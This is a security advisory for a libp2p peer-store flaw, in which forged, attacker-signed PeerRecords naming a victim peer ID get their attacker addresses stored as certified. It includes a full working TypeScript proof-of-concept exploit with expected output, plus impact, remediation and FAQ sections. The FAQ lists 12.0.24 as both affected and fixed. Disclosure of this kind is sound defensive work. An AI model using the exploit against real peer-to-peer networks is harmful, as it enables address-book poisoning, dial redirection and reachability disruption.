CVE-2026-86039: libp2p: PeerStore accepts attacker-signed PeerRecords for a victim peer ID and stores certified attacker addresses
Summary @libp2p/peer-store accepts a signed PeerRecord whose envelope is signed by one peer but whose payload claims a different peer ID. The vulnerable consumePeerRecord path verifies the envelope signature, but does not verify that the envelope signer is the same peer as the wrapped PeerRecord.peerId. As a result, an attacker can sign a record with their own key while placing a victim peer ID in the payload, causing attacker-controlled multiaddrs to be stored as certified addresses for the victim.
Details The vulnerable code is in packages/peer-store/src/index.ts:
- RecordEnvelope.openAndCertify(buf, PeerRecord.DOMAIN, options) verifies the envelope signature. - const peerId = peerIdFromCID(envelope.publicKey.toCID()) derives the envelope signer peer ID. - The optional expectedPeer check only compares expectedPeer to the envelope signer. - const peerRecord = PeerRecord.createFromProtobuf(envelope.payload) decodes peerRecord.peerId from attacker-controlled signed payload bytes. - this.patch(peerRecord.peerId, { peerRecordEnvelope: buf, addresses: ... isCertified: true }) stores the addresses under the payload peer ID, not the verified signer peer ID.
The missing invariant is:
ts peerRecord.peerId.equals(peerIdFromCID(envelope.publicKey.toCID()))
packages/protocol-identify/src/utils.ts already performs this check and can be used as the reference behavior:
ts if (!peerRecord.peerId.equals(envelopePeer)) { throw new InvalidMessageError('signing key does not match PeerId in the PeerRecord') }
The gossipsub Peer Exchange path reaches this code via packages/gossipsub/src/gossipsub.ts by calling:
ts peerStore.consumePeerRecord(pi.signedPeerRecord, { expectedPeer: peer })
This does not prevent the bug because peer is derived from the wire pi.peerID. An attacker can set pi.peerID to their own peer ID, sign the envelope with their own key, and put the victim peer ID inside the wrapped PeerRecord.
PoC ts // TypeScript ESM PoC. import { strict as assert } from 'node:assert' import { generateKeyPair } from '@libp2p/crypto/keys' import { defaultLogger } from '@libp2p/logger' import { peerIdFromPrivateKey } from '@libp2p/peer-id' import { PeerRecord, RecordEnvelope } from '@libp2p/peer-record' import { persistentPeerStore } from '@libp2p/peer-store' import { multiaddr } from '@multiformats/multiaddr' import { MemoryDatastore } from 'datastore-core/memory' import { TypedEventEmitter } from 'main-event'
const label = 'Certified peer-record address hijack'
async function main (): Promise<void> { const localKey = await generateKeyPair('Ed25519') const attackerKey = await generateKeyPair('Ed25519') const victimKey = await generateKeyPair('Ed25519')
const attacker = peerIdFromPrivateKey(attackerKey) const victim = peerIdFromPrivateKey(victimKey) const attackerAddr = multiaddr('/ip4/203.0.113.66/tcp/4001')
const peerStore = persistentPeerStore({ peerId: peerIdFromPrivateKey(localKey), datastore: new MemoryDatastore(), events: new TypedEventEmitter(), logger: defaultLogger() })
// Payload claims victim, but the envelope is signed by attacker. const forgedRecord = new PeerRecord({ peerId: victim, multiaddrs: [attackerAddr], seqNumber: 999999n }) const forgedEnvelope = await RecordEnvelope.seal(forgedRecord, attackerKey)
// Emulates gossipsub PX: pi.peerID == attacker, expectedPeer == attacker. const accepted = await peerStore.consumePeerRecord(forgedEnvelope.marshal(), { expectedPeer: attacker })
assert.equal(accepted, true)
const poisonedVictim = await peerStore.get(victim) assert.deepEqual(poisonedVictim.addresses.map(({ multiaddr, isCertified }) => ({ multiaddr: multiaddr.toString(), isCertified })), [{ multiaddr: attackerAddr.toString(), isCertified: true }])
console.log(${label} reproduced) console.log(attacker signer: ${attacker}) console.log(victim storage key: ${victim}) console.log(stored certified address: ${attackerAddr}) }
main().catch(err => { console.error(err) process.exitCode = 1 })
Expected output:
text Certified peer-record address hijack reproduced attacker signer: 12D3KooWEdL1GaEhVGrhsKhubbiNQxWYTbX27ywm5JJ6W5Zh81gj victim storage key: 12D3KooWCZBY7mRMDfuWSR9p4X6qJQgNyYXrrnzozW4zSUPSJUFn stored certified address: /ip4/203.0.113.66/tcp/4001
Impact Attackers can poison peer-store certified address records for third-party peers. Certified addresses are preferred by dial address sorting, so future dials to the victim may attempt attacker-controlled or invalid endpoints. This can cause reachability disruption, address-book poisoning, and routing manipulation for applications that consume untrusted signed peer records.
This does not by itself let the attacker complete an encrypted libp2p connection as the victim, because the connection upgrade path still verifies the remote peer identity. The demonstrated impact is certified address poisoning and dial redirection/failure, not a full peer identity takeover.
Other sources
libp2p is a JavaScript implementation of the libp2p networking stack. From 8.0.0 until 12.0.24, @libp2p/peer-store in packages/peer-store/src/index.ts uses consumePeerRecord to verify a RecordEnvelope signature but does not require PeerRecord.peerId in the signed payload to equal the signer peer ID derived by RecordEnvelope.openAndCertify. The expectedPeer option checks only the envelope signer, and the gossipsub Peer Exchange path can provide the attacker's own peer ID as expectedPeer. An attacker can therefore sign a record with the attacker's key, place a victim peer ID and attacker-controlled multiaddrs in the payload, and have certified addresses stored for the victim. The poisoned addresses can cause address-book corruption, dial redirection or failure, routing manipulation, and reachability disruption, although the connection upgrade still verifies remote peer identity and prevents a complete identity takeover. The issue is fixed in version 12.0.24.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/@libp2p/peer-storeto a version that resolves this vulnerability.Fixed in 12.0.24 - Upgrade
Upgrade
@libp2p/peer-storeto a version that resolves this vulnerability.Fixed in 12.0.24 - Configuration
Apply the missing invariant in the consumePeerRecord verification path so that the wrapped PeerRecord.peerId equals the peer ID derived from RecordEnvelope.openAndCertify (envelope signer), not only that the envelope signature is valid (as opposed to relying on the optional expectedPeer check).
@libp2p/peer-store (consumePeerRecord) PeerRecord.peerId matches envelope signer peer ID = enforced
Event History
Frequently Asked Questions
Which deployments are affected?
Deployments using npm/@libp2p/peer-store from version 8.0.0 through 12.0.24 are affected. The issue is fixed in version 12.0.24.
What must an attacker be able to do to poison a peer's stored addresses?
The attacker needs to provide a signed PeerRecord using their own key while placing a victim peer ID and attacker-controlled multiaddrs in the record payload. The gossipsub Peer Exchange path can supply the attacker's peer ID as the expected peer, allowing the record to pass the existing signer check.
Can this result in a full takeover of the victim peer's identity?
No. Connection upgrade still verifies the remote peer identity, preventing a complete identity takeover. However, poisoned certified addresses can corrupt the address book, redirect or fail dialing, manipulate routing, and disrupt reachability.
How can teams determine whether they may have been exposed before upgrading?
Review whether affected peer-store versions accepted PeerRecords through paths such as gossipsub Peer Exchange, and inspect stored peer addresses for victim peer IDs associated with unexpected or attacker-controlled multiaddrs. The provided data does not describe a specific detection log or indicator.